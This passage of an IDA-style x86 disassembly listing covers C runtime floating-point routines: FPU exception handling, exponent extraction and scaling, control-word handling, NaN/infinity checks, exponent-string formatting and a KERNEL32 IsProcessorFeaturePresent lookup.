		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF50
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF40
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF50
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF50
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF40
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB958, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB958, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE68


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF40
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE6C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF68
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF68
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF74
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2680000h
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBE8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBE8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF90o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9F0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBE8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9F0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9F0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9EC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBE8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9F0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


